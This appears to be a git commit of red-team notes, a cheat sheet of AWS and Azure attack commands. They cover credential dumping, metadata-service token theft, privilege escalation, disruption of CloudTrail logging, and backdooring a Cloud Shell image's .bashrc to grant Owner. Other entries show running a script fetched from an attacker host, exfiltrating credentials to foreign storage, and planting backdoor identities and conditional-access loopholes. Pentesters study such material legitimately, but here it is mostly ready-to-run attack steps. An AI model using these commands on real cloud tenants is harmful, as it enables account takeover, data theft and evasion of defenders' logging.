first commit

This commit is contained in:
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
+113
View File
@@ -0,0 +1,113 @@
- Using credentials with AWS CLI involves a file at `~/.aws/credentials`, with the following example format:
```
[<profile_name>]
aws_access_key_id = <key>
aws_secret_access_key = <secret>
aws_session_token = <session_token>
```
- Add `--profile demo` to use the above with AWS CLI commands
- List accounts belonging to organization
- `aws organizations list-accounts`
- Get information about IAM role
- `aws iam get-role --role-name <role_name> --profile <profile_name>`
- List details on instances
- ` aws ec2 describe-instances --region=<region> --profile <profile_filename>`
- List details on container repositories
- `aws ecr describe-repositories --region=<region> --profile gretsch1`
- Get user information
- `aws iam get-user --profile <profile_name>`
- `aws iam list-attached-user-policies --user-name=<username> --profile <profile_name>`
- Get information on policy
- ` aws iam get-policy --policy-arn mxrads-self-manage --profile kevin`
- Version
- ` aws iam iam get-policy --policy-arn <policy_arn> --profile <profile_name>`
- Get Content
- ` aws iam iam get-policy-version --policy-arn <policy_arn> --version <version> --profile <profile_name>`
- List users and groups affiliated with default Administrator policy
- `aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
- List current access keys for user (there can only be 2, so anything less allows you to add one)
- `aws iam list-access-keys --user b.daniella | jq ".AccessKeyMetadata[].AccessKeyId"`
- Create access key for user
- `aws iam create-access-key --user b.daniella`
- Change role policy
- `aws iam update-assume-role-policy --role-name lambda-dmp-sync --policy-document file://new_policy.json`
- Find roles capable of `assume-role` calls for `lambda.amazonaws.com`
- `aws iam list-roles | jq -r '.Roles[] | .RoleName + ", " + .AssumeRolePolicyDocument.Statement[].Principal.Service' | grep "lambda.amazonaws.com"`
- Check IAM policies for role
- `aws iam list-attached-role-policies --role <role_name> --profile <profile_name>`
- Look for roles with high permissions like `IAMFullAccess` and which lack write permissions to CloudWatch
- Inspect security groups
- `aws ec2 describe-security-groups --group-ids <id_1> <id_2>`
- Assume role
- `aws sts assume-role --role-arn arn:aws:iam::886371554408:user/lambda-dmp-sync --role-session-name AWSCLI-Session --duration-seconds 43200`
- List existing lambda functions
- `aws iam lambda list-functions -region=<region>`
- Get information on Lambda function
- `aws lambda get-function --function-name <lambda_func_name> --region <region> --profile <profile_name>`
- Get information on Kubernetes cluster
- `aws eks describe-cluster --name <cluster_name> --profile <profile_filename> --region=<region>`
- Get information from Resource Groups Tagging API
- `aws resourcegroupstaggingapi get-resources --region <region> --profile <profile_name>`
- List secrets
- `aws secretsmanager list-secrets --region <region> --profile <profile_name>`
- Download secret
- `aws secretsmanager get-secret-value --secret-id '<ID>' --region=eu-west-1 --profile it-role | jq -r .SecretString | base64 -d`
- List buckets accessible with these credentials/this role:
- `aws s3api listbuckets --profile <profile_name>`
- List buckets and show bucket names only
- `aws s3api list-buckets --profile <profile_name> --query "Buckets[].Name"`
- Sync bucket
- mounted locally
- `aws s3 sync s3://<bucket_name> <filesystem_mount_point>`
- With another bucket
- `aws s3 sync s3://source-bucket/ s3://destination-bucket`
- List keys inside a single bucket
1. `aws s3api list-objects-v2 --profile <profile_name> --bucket <bucket_name> > list_objects_dl.txt`
2. `grep '"Key"' list_objects_dl | sed 's/[",]//g' > list_keys_dl.txt`
- Check for S3 bucket logging
- `aws s3api get-bucket-logging --profile <profile_name> --bucket <bucket_name>`
- Check bucket policy
- `aws s3api get-bucket-policy --bucket <bucket_name>`
- Get account ID
- `aws sts get-caller-identity --profile <profile_name>`
- Create a new bucket:
- `aws s3api create-bucket --bucket <bucket_name> --region=<aws_region> --create-bucket-configuration LocationConstraint=<aws_region>`
- Upload file to bucket:
- ` aws s3api put-object --bucket <bucket_name> --key <key_name> --body <filename>`
- Change file permissions in bucket:
- `aws s3api put-bucket-policy --bucket <bucket_name> --policy file://<local_policy_file>`
- Exchange service account token for IAM keys (only for proper service account tokens with OpenID info in AWS)
1. `AWS_ROLE_ARN="<role_name>"`
- e.g. `AWS_ROLE_ARN="arn:aws:iam::886477354405:role/api-core.ec2"`
2. `TOKEN ="<token>"`
3. `aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name sessionID --web-identity-token $TOKEN --duration-seconds 43200`
- Exchange IAM key for Kubernetes token
- `aws eks get-token --cluster-name <cluster_name> --profile <profile_name>`
- Create kubectl config
- `aws eks update-kubeconfig --name <cluster_name> --profile <profile_name>`
- Get all instances that match a specific tag
- `while read p; do instanceID=$(aws ec2 describe-instances --filter "Name=tag:Name,Values=*$p*" --query 'Reservations[0].Instances[].InstanceId' --region=eu-west-1 --output=text; echo $instanceID > list_ids.txt; done <services.txt`
- Get user data from instance IDs in a file
- `while read p; do userData=$(aws ec2 describe-instance-attribute --instance-id $p --attribute userData --region=eu-west-1 | jq -r .UserData.Value | base64 -d) echo $userData > $p.txt done`
- Get launch configurations
- `aws autoscaling describe-launch-configurations`
- `aws ec2 describe-launch-templates`
- Start instance with user data script that runs on startup:
- `aws ec2 run-instances --image-id ami-<id> --count 1 --instance-type m3.medium --iam-instance-profile <profile_name> --subnet-id subnet-<id> --security-group-ids sg-<id> --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=spark-worker-5739ecea19a4}]' --user-data file://<startup_script> --profile <profile_name> --region <region>`
- Redshift
- Get info on clusters
- `aws redshift describe-clusters`
- Get credentials for cluster
- `aws get-cluster-credentials --db-user root --db-name <database_name> --cluster-identifier <cluster_id> --duration-seconds 3600`
- Check monitoring
- Access Analyzer
- `aws accessanalyzer list-analyzers --region=<region>`
- CloudTrail
- `aws cloudtrail describe-trails --region=<region>`
- GuardDuty
- `aws guardduty list-detectors --region=<region>`
- Extract info from CloudTrail
- `aws logs describe-log-groups --region=<region> --profile <profile_name>`
- Filter for activity referring to a specific account
- `aws logs filter-log-events --log-group-name "CloudTrail/DefaultLogGroup" --filter-pattern "<account_ID>" --max-items 10 --profile <profile_name> --region <region> | jq ".events[].message" | sed 's/\\//g'
`
+29
View File
@@ -0,0 +1,29 @@
- Full list of endpoints:
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html
- Region
- http://169.254.169.254/latest/meta-data/placement/availability-zone
- Instance ID
- http://169.254.169.254/latest/meta-data/instance-id
- AMI ID (image ID)
- http://169.254.169.254/latest/meta-data/ami-id
- Public hostname (containing public IP as well)
- http://169.254.169.254/latest/meta-data/public-hostname
- MAC address
- http://169.254.169.254/latest/meta-data/network/interfaces/macs/
- Owner ID
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/owner-id
- Security Groups
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/security-groups
- Subnet ID
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-id
- Subnet IP range
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-ipv4-cidr-block
- User-Data (instance startup script)
- http://169.254.169.254/latest/user-data/
- Accepts BASH scripts as well as cloud-init files, which are in YAML
- IAM role name
- http://169.254.169.254/latest/meta-data/iam/security-credentials
- IAM temporary credentials
- http://169.254.169.254/latest/meta-data/iam/security-credentials/demo-role.ec2
- These credentials allow one to assume the IAM role of the instance from any AWS client (including the CLI) until the credentials are reset (every six hours)
+46
View File
@@ -0,0 +1,46 @@
- Lambda functions
- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
- S3 dashboard makes it less obvious.
- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
- Use something like uploading lambda role credentials to a foreign bucket
- Golang Pseudocode:
```Go
accessKey := fmt.Sprintf(`
AWS_ACCESS_KEY_ID=%s
AWS_SECRET_ACCESS_KEY=%s
AWS_SESSION_TOKEN=%s"`,
os.Getenv("AWS_ACCESS_KEY_ID"),
os.Getenv("AWS_SECRET_ACCESS_KEY"),
os.Getenv("AWS_SESSION_TOKEN"),
)
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
```
- Create lambda function
- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
- Create trigger event on upload of file to s3
- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
- Example rule config
```JSON
{
"LambdaFunctionConfigurations": [{
"Id": "s3InvokeLambda12",
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
:function:support-metrics-calc",
"Events": ["s3:ObjectCreated:*"],
"Filter": {
"Key": {
"FilterRules": [{
"Name": "prefix",
"Value": "2"
}]
}
}
}]
}
```
-
+18
View File
@@ -0,0 +1,18 @@
- Virtual Private Cloud (VPC)
- Allows organizations to set up virtual private networks to route traffic from instances to their core services, such as S3 buckets.
- Example: `curl https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/beaconTest.html` will automatically route straight to S3 through Amazon's internal network, rather than going through the public internet.
- This allows organizations to close access to the internet for instances while still retaining access to AWS services.
- Look for this when you have RCE, RFI, or similar and you can't get the instance to reach out to the internet. Try uploading a file to an s3 bucket you control and curling the bucket instead; it might go through a VPC.
- Can also be used as a C2 channel
- Evading CloudWatch
- Cannot disable, but can disrupt the trail for ingestion into automated tools and dashboards.
- `aws cloudtrail update-trail --name default --no-include-global-service-events --no-is-multi-region --region=<region>`
- For best results, disable before doing quick API calls you need to be outside of the logging, then re-enable at least 20 minutes later.
- Quickly grep Linux files looking for:
- AWS keys
- `grep -R "AKIA" -4 *`
- S3 drivers used in Spark
- `egrep -R "s3[a|n]://" *`
- Dangerous permissions
- `PassRole`
- Allows users to assign any role to an instance, including an admin role. Allows full AWS account takeover.
@@ -0,0 +1,43 @@
- Create a local user on a VM
- Using Azure CLI
- `az vm user update -u username -p password -n <VM_Name> -g <Resource_Group>`
- Using PowerShell
- `Get-AzVM`
- `Set-AzVMAccessExtension -ResourceGroupName "<Resource_Group>" -Location "<Location>" -VMName "<VM_Name>" -Name "<Extension_Name>" -TypeHandlerVersion "2.4" -UserName "<Username>" -Password "<Password>"`
- OR
- `Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (get-credential) -typeHandlerVersion "2.0" -Name VMAccessAgent`
- Authenticate to VMs with local credentials
- With RDP
- `Get-AzPublicIpAddress -Name winvm01* | Select IpAddress`
- If the VM does not have a public IP or RDP is not listening, Contributor permissions can be used to expose the service (MAJOR RISK)
- With Run Command (using VM agent)
- List out running Windows VMs and cast to the VMs variable
- `$VMs = Get-AzVM -Status | where {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}`
- Pass VMs to Invoke-AzVMRunCommand
- `$VMs | Invoke-AzVMRunCommand -CommandId 'RunPowerShellScript' -ScriptPath .\whoami.ps1`
- Can use indices of VMs variable to pass commands to only select VMs rather than all of them (eg. $VMs\[0\])
- From Azure REST APIs (useful especially for using a token to a managed identity)
- Obtain an access token (from a VM with a managed identity)
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/token?apiversion=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' | jq`
- Execute commands (PowerShell)
- `$mgmtToken = "TOKEN GOES HERE"`
- `Invoke-AzVMCommandREST -commandToExecute "whoami > test.txt" -managementToken $mgmtToken 204cce89-27de-4669-a48b-04c27255e05e`
- Execute script with VM extensions
- Host the script at some URI, then execute this:
- `Set-AzVMCustomScriptExtension -ResourceGroupName TEST -VMName PentestVM -Location westcentralus -FileUri 'http://attacker.webserver.com/whoami.ps1' -Run 'whoami.ps1' -Name CustomScriptExtension`
- [Attacking Azure with Custom Script Extensions (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-with-custom-script-extensions/)
- Credential Harvesting
- VM extension settings
- Domain join extension
- Microburst - `Get-AzureVMExtentionSettings`
- PowerShell ISE can store old scripts/credentials
- [Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/)
- Disk Export and Snapshot Export
- Can export a disk and generate a temp URL to download it (only for disks not attached to running VMs)
- For disks attached to VMs, create a snapshot and then export that.
- If encrypted, you'll need a key from the key vault
- PowerZure
- Get list of all unattached VM disks
- ` Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryption`
- Generate a public URL to export the disk
- `Get-AzureVMDisk -DiskName <DISK_NAME_FROM_STEP_4>`
@@ -0,0 +1,97 @@
- Storage accounts
- Contributor role has these management plane permissions and can use them to exploit the data plane:
- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
- MicroBurst
- Dump credentials from Azure Storage instances (can also do other accounts)
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
- Can use the keys to access these services to extract data or other credentials
- Open Azure Storage Explorer
- Authenticate with name from previous command and account key
- Lava
- `stg_blob_download` - Automatically download all blob containers in subscription
- Azure Cloud Shell
- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
- Auth to CLI as Contributor
- `az login -u contributoruser@<domain_name> -p <contributor_user_password>`
- Start Lava
- `python3 lava.py`
- Verify permissions
- `exec priv_show`
- Scan for Cloud Shell images
- `exec stg_file_scan`
- Download files in file shares (can take a while if there are a lot)
- `exec stg_file_download` - Note the download location for later
- Exit Lava
- `exit`
- Mount IMG file
- `mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt`
- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
- `echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc`
- `echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1`
- Unmount
- `umount /mnt`
- Get name of storage account
- `az storage account list --query [].name -o tsv` - look for one that starts with "cs"
- `storagename=<storage_acct_name>`
- Get access key and file share and upload image
- `key=$(az storage account keys list -n $storagename --query [0].value -o tsv)`
- `csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)`
- `az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"`
- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
- Clean up Owner permissions
- `$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')`
- `$contributoruser = "contributoruser@$upnsuffix"`
- `$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)`
- `az role assignment delete --assignee $contributoruserid --role "Owner"`
- Remember to remove backdoored command in Azure Cloud Shell
- Key Vault
- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
- `Microsoft.KeyVault/vaults/accessPolicies/write`
- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
- Automation accounts: Create a new runbook that uses the Run as account to access the key vault.
- App registrations: Authenticate as the app registration and access the key vault.
- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
- MicroBurst
- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView`
- Web apps
- Collect publish profile, containing credentials
- `Get-AzWebAppPublishingProfile`
- MicroBurst
- `Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
- Find FTP endpoint to review/modify app files:
- `az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"`
- Can use Console in Azure Portal or the SCM interface
- $APP_NAME.scm.azurewebsites.net
- Can auth to this with the publish profile creds
- Keep in mind these usually have managed identities too
- [Lateral Movement in Azure App Services (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/)
- Automation Accounts
- Review runbook code to find credentials
- Extract stored account credentials and Run as account certificates
- Write credential variables to job output
- `$myCredential = Get-AutomationPSCredential -Name 'Cred-1'`
- `$userName = $myCredential.UserName`
- `$password = $myCredential.GetNetworkCredential().Password`
- `$username`
- `$password`
- Export Run as certificates
- `$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'`
- `$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx`
- `$Cert = $RunAsCert.Export('pfx','CertificatePassword')`
- `Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose`
- `$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))`
- `$base64string`
- MicroBurst
- `Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
- Can also use the REST API
- `Get-AzAutomationAccountCredsREST`
- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1
+20
View File
@@ -0,0 +1,20 @@
- Use CLI to login prior to running Lava
- `az login`
- `python3 lava.py`
- `whoami` - confirm authentication
- Determine if any VM in the subscription is associated with a privileged managed identity
- `exec vm_list_privileged`
- Use Run Command (as a Contributor) - Get Managed Identity access token
- `exec vm_rce -rgrp PENTEST-RG -vm_name linuxvm01`
- Non-interactive shell
- ` curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -H Metadata:true`
- Copy token from previous command, exit Lava, and run commands against the resource manager with elevated privilege
- `TOKEN=<ACCESS_TOKEN_FROM_PREVIOUS_STEP>`
- Get a list of subscriptions
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?api-version=2020-01-01 | jq`
- Store subscription ID in a variable
- `SUB_ID=$(curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?apiversion=2020-01-01 | jq -r .value[].subscriptionId)`
- Get a list of resource groups
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resourcegroups?api-version=2019-10-01 | jq`
- Get a list of resources
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resources?api-version=2019-10-01 | jq`
@@ -0,0 +1,4 @@
- With Contributor or Owner role on a subscription, VMs can be used (and possibly created) to begin attacking connected on-prem networks
- Bloodhound has updates that can also identify/graph Azure roles and relationships
- Azure tokens are stored on user workstations in the `.Azure` profile folders - compromise dev machines and pivot
- With elevated domain rights, might be able to add a new MFA token for a Global Administrator and crack their password to take over their account
@@ -0,0 +1,51 @@
- Group membership
- Compromising an Azure AD account with ability to change group permissions can allow lateral movement to RBAC
- Groups:
- Global Administrator
- User Administrator
- Groups Administrator
- Directory Writers
- Any custom role with `microsoft.directory/groups/members/update`
- Identifying privileged groups in subscriptions
- Review the Azure AD sign-in log
- AzureAD (or AzureADPreview)
- Get successful Azure Portal sign-ins in the time range
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq RAzure Portal' and createdDateTime gt $((Get-Date).AddDays(-1). ToString('yyyy-MM-dd')) and status/errorCode eq 0"`
- Get successful Azure PowerShell sign-ins in the time range
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq 'Microsoft Azure PowerShell' and createdDateTime gt $((GetDate).AddDays(-1).ToString('yyyy-MM-dd')) and status/errorCode eq 0"`
- Filter for interesting authentication properties
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq 'Azure Portal' and createdDateTime gt $((Get-Date).AddDays(-1).ToString('yyyy-MM-dd')) and status/errorCode eq 0" | Select-Object UserPrincipalName, MfaDetail, AppliedConditionalAccessPolicies`
- Must have one of these permissions in Azure AD:
- Security Administrator
- Security Reader
- Report Reader
- Any custom role with `microsoft.directory/groups/allProperties/allTasks` or `microsoft.directory/signInReports/allProperties/read`
- Resetting user passwords
- Requires one of these roles:
- Password Administrator
- Helpdesk Administrator
- Authentication Administrator
- User Administrator
- Privileged Authentication Administrator (unlimited password permissions)
- Exploiting service principal secrets
- Requires one of these roles:
- Application Administrator
- Cloud Application Administrator
- Directory Synchronization Accounts
- Hybrid Identity Administrator
- Any custom role with the following permission: `microsoft.directory/servicePrincipals/credentials/update`
- Identify Service Principals that have access to Azure resources (non-interactive logins)
- Get app ID for application and add a new client secret
- Authenticate as the service principal (and hopefully gain Contributor which is the default in Azure Dev-Ops)
- Gain access to root management group
- Can only be done as Global Administrator
- Implicitly grants User Access Administrator to all subscriptions and management groups
- Azure CLI
- Use Global Administrator account to assign itself complete permissions to assign access to any subscription or management group
- `az rest --method post --url "/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"`
- Assign subscription Owner role to Global Administrator account
- `userPrincipalName=$(az ad signed-in-user show --query userPrincipalName -o tsv)`
- `az role assignment create --role "Owner" --assignee $userPrincipalName`
@@ -0,0 +1,8 @@
- Exploiting privileged service principals
- Service principals and managed identities can also have Azure AD roles
- Often excluded from MFA/conditional access
- Exploiting service principals' permissions on APIs
- Application permissions don't expect a signed-in user and can often access sensitive data
- Phishing technique:
- Use Azure AD consent grant URL to exploit built-in Azure AD permissions flow and trick users into approving an external application
+104
View File
@@ -0,0 +1,104 @@
- Credentials
- https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/
- Check C:\\Users\\%USERNAME%\.Azure for cached credentials from Az CLI or Powershell cmdlets
- Bypasses MFA/Oauth/Conditional access
- NOTE: For OPSEC, prevent Azure context from being automatically saved for a local user:
- `Disable-AzContextAutosave -Scope CurrentUser`
- Check validity of existing credentials
- `Get-AzSubscription`
- `az account list`
- Save current Azure context
- `Save-AzContext -Path azureprofile.json`
- `7z a azureprofile.zip azureprofile.json`
- Exfiltrate to Blob Container
- HTTPie
- `http PUT "<blob_container_url>" "@azureprofile.zip" "x-ms-blob-type: BlockBlob"`
- PowerShell
- `Invoke-WebRequest -Method 'PUT' -Uri '<blob_container_url>' -OutFile 'azureprofile.zip' -Headers @{"x-ms-blob-type"="BlockBlob"}`
- Download exfiltrated file
- `Invoke-WebRequest -Uri "<blob_container_url>" -OutFile azureprofile.zip`
- Extract
- `7z e azureprofile.zip`
- Import authentication context
- `Import-AzContext -Path .\azureprofile.json`
- Verify
- `Get-AzResourceGroup`
- Virtual Machines
- Opening management ports is typically ill-advised, but one option is to specify an Azure service tag as the source when opening the port (such as RDP or SSH).
- Example: modifying a network security group to allow RDP/SSH from the AzureCloud or AzureCloud.UKSouth service tag looks less suspicious while still allowing connections from any Azure node matching that range
- Add a managed identity
- Can be done in Azure Portal
- Add to system or user
- Assign additional rights to the managed identity at subscription/management group and/or Azure AD for persistence
- User-assigned (using an existing user with permissions we want) may be less noisy as it won't need more permissions added afterward.
- Automation account
- Desired State Configuration (DSC)
- Reverts systems to a "desired configuration" if that configuration ever should change
- Simply have your "desired state" be "running my malicious EXE"
- [Azure Persistence with Desired State Configurations (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-persistence-with-desired-state-configurations/)
- Process:
- Add target VM as DSC node to Automation account service
- Upload configuration
- Compile configuration
- Assign configuration to VM
- Wait for DSC to indicate the node is out of compliance and run the correction script
- Example config:
- "File should exist at C:\\testfile.exe"
- "A process should be running from that path"
- "If either condition is not satisfied, correct it"
- Very well-hidden in the Azure interface and a lesser-known feature, so it may fly under the radar
- Automation Run as accounts
- [Maintaining Azure Persistence via Automation Accounts (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/maintaining-azure-persistence-via-automation-accounts/)
- Example process:
- Assign Run as account a privileged Azure AD role (Global/User Admin)
- Create runbook that adds a new user (with known password) to Azure AD tenant
- Assign new user privileged role in Azure AD
- Use new user as short-term channel to access Azure AD
- Consider using a webhook to trigger persistence
- Maintaining access to PaaS services
- Best targets are data stores or secret stores such as SQL dbs, storage accoutns, container registries, and key vaults
- Can persist on a public endpoint, but must add an IP address and this is noisy
- Can add a Firewall exception (such as to Azure SQL) to allow access to "Azure services and resources"; this allows public IPs from other organizations provided they are in Azure. Use with caution and probably only with SQL and not for services with networking restrictions
- Persistence to platform services
- Generating Shared Access Signature (SAS) tokens is not explicitly logged in Activity Log - good option for Azure Storage
- Can always add RBAC role assignments to a backdoor user too
- Azure AD persistence
- Creating new principals probably raises more alerts than modifying existing
- Creating a new user
- Requires `microsoft.directory/users/create` permission (User Administrator, Global Administrator, Directory Writers)
- For naming, try to emulate the target organization but consider if alternate naming schemes (alternate domains) might bypass MFA (Okta)
- Review audit logs to determine if the identity you're using is normally used to create Azure AD user accounts
- Creating service principal
- ALL non-guest users can create service principals by default
- If that default permission is disabled, `microsoft.directory/servicePrincipals/create` permission is needed
- Application Administrator, Application Developer, Cloud Application Administrator
- Great for bypassing MFA/conditional access/privileged identity management (not blocked or not supported)
- Creating guest user
- Depends on "Collaboration restrictions" - might be able to invite users from any domain (outlook, gmail, etc.) or only from specified ones
- By default, any user or guest user can be used to invite external identities into the tenant
- Some orgs may place conditional access policies on guest accounts; consider bypassing/disabling
- Modifying existing identities
- Look for existing disabled identities, enable them, and reset password.
- `microsoft.directory/users/enable` - User Administrator, Global Administrator
- [Azure AD built-in roles - Azure Active Directory - Microsoft Entra | Microsoft Learn](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#password-reset-permissions)
- Add a secret/password to an existing service principal
- `microsoft.directory/servicePrincipals/credentials/update` - Application Administrator, Hybrid Identity Administrator, Global Administrator
- Granting privileges to an identity
- Add to privileged group
- If assigned-membership type - add identity to a privileged group manually
- If dynamic user membership type, either modify rules so they include our backdoor identity or modify identity to fit existing rules
- Assign identity to privileged roles
- Requires `microsoft.directory/roleAssignments/allProperties/allTasks`
- Global Administrator, Privileged Role Administrator
- Consider if Privileged Identity Management (PIM) is in use
- If so, use an active assignment for the backdoor identity instead of an eligible one that requires activation
- If Azure Blueprint is in use, must create a definition, publish, and then assign.
- Ensuring access by bypassing security policies
- Create conditional access loopholes for backdoor identities
- Add attacker IP as trusted in conditional access
- Add attacker IP as trusted for MFA
- Use subcription-level persistence to work with existing Azure AD restrictions
@@ -0,0 +1,18 @@
- General
- `Get-AzWebApp` `Get-AzWebApp | Select EnabledHostNames`
- Gather information on web applications
- Also extracted with `Get-AzDomainInfo` in MicroBurst - \\Resources\\AppServices.csv
- Function Apps
- Check to see if source code/config files are available
- Service Principal exploitation
- PowerZure
- `Get-AzureAppOwner`
- Determine if current user is assigned as the owner of a service principal
- `Add-AzureSPSecret -ApplicationName customapp -Password myPassword456`
- Can now authenticate as this service principal with this password and explore its permissions
- Note Tenant/App ID in output
- OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application Certificates and secrets management".
- `az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID`
- Authenticate using Azure CLI as service principal
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
- Determine role assignment of service principal
@@ -0,0 +1,30 @@
- Reader permissions can pull container images
- Authenticate as Reader
- `az login -u readeruser@<DOMAIN> -p myPassword123`
- List container registries - note the name
- `az acr list -o table`
- Generate a Docker login and connect to the registry
- `acr=ACR_NAME`
- `loginserver=$(az acr login -n $acr --expose-token --query loginServer -o tsv)`
- `accesstoken=$(az acr login -n $acr --expose-token --query accessToken -o tsv)`
- `docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
- List images in the container registry
- `az acr repository list -n $acr`
- Enumerate versions by listing tags for an image
- `az acr repository show-tags -n $acr --repository nodeapp-web`
- Note registry credentials in session
- `echo $loginserver`
- `echo $accesstoken`
- Open a PowerShell console as Administrator and set variables (if necessary based on Windows version)
- `$loginserver="<LOGIN_SERVER>"`
- `$accesstoken="<ACCESS_TOKEN>"`
- Login to Docker from PowerShell
- ` docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
- Pull the image
- `docker pull $loginserver/nodeapp-web:v1`
- Examine the image for sensitive information (list env vars)
- `docker container run --rm $loginserver/nodeapp-web:v1 env`
- Login with found credentials via Azure CLI
- `az login --service-principal --username APP_ID --password SECRET_KEY --tenant TENANT_ID`
- Check role assignment and scope
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
@@ -0,0 +1,2 @@
- [Abusing dynamic groups in Azure AD for privilege escalation (mnemonic.io)](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
- In brief, look for dynamic groups that assign membership based on parameters that users have control over
@@ -0,0 +1,27 @@
- Enumerating with Reader permissions
- Simply log in to the Azure portal and view all resources/export to CSV
- PowerZure
- Importing the Module will display current role, permissions, and available subscriptions
